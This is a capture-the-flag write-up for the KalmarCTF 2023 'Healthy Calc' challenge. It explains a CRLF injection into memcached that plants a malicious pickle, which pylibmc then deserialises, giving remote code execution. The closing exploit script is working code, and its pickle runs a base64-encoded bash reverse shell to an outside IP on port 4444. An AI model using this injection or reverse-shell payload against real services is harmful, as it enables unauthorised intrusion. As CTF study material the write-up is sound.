KalmarCTF 2023 Healthy Calc wp
Contents
Healthy Calc
chall overview
Dockerfile:
COPY flag /flag
COPY readflag.c /readflag.c
RUN gcc /readflag.c -o /readflag
RUN chown root:root /flag && chmod 400 /flag
RUN chown root:root /readflag && chmod 4755 /readflag
From the dockerfile it’s obvious we need to rce, let’s have a look at chall.py
:
OPERATION_SYMBOLS = {"add": "+", "sub": "-", "mult": "*"}
OPERATIONS = {
"add": lambda lhs, rhs: cache_lookup(_add, lhs, rhs),
"sub": lambda lhs, rhs: cache_lookup(_sub, lhs, rhs),
"mult": lambda lhs, rhs: cache_lookup(_mult, lhs, rhs),
}
application = Flask(__name__)
bp = Blueprint("routes", __name__)
celery = Celery(__name__)
@bp.route("/calc/<operation>/<lhs>/<rhs>")
async def calc(operation: str, lhs: int, rhs: int):
if operation not in OPERATIONS:
return jsonify({"err": f"Unknown operation: {operation}"})
f = OPERATIONS[operation]
try:
return jsonify({"ans": await f(lhs, rhs)})
except Exception as ex:
return str(ex)
def gp(n) -> int:
""" guess precision """
if str(n).endswith(".0"):
return int(n)
else:
return float(n)
async def cache_lookup(operation, lhs: int, rhs: int) -> int:
k = f"{operation.name}_{lhs}_{rhs}"
print(k)
try:
return gp(celery.backend.get(k))
except:
pass # skip cache miss
ans = gp(await operation(lhs, rhs))
celery.backend.set(k, ans)
return ans
The chall code is clear and simple:
But the calc()
with gp()
processed seems not vulnerable, so I think we should figure out a way to rce via cache.
memcached
CRLF injection
The first thing came to my mind was absolutely CRLF injection, so I tried sending request with \r\n set ...
to set a value in memcached when checking for cache:
Concept proved. But we need something else to trigger rce. After some digging, I found that pylibmc will load the data from memcached as pickle data(source), so we just need to add the pickle payload into memcached with flag set to 1 could trigger the rce.
exp
import requests, base64
from urllib.parse import quote
endpoint = 'http://healthy-calc.chal-kalmarc.tf:8080'
pickle_payload = f"I0\np0\n0S'bash -c \\'{{echo,{base64.b64encode(b'bash -i >& /dev/tcp/1.15.5.67/4444 0>&1')}}}|{{base64,-d}}|{{bash,-i}}\\''\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR.".encode()
payload = quote('\r\n').join([
'/calc/add/666/666',
quote(f'set uwsgi_file__app_chall._add_777_777 1 0 {len(pickle_payload)}'),
quote(pickle_payload),
'',
])
print(payload)
# write payload to memcached
r = requests.get(endpoint + payload)
# trrigger the payload
r = requests.get(endpoint + '/calc/add/777/777')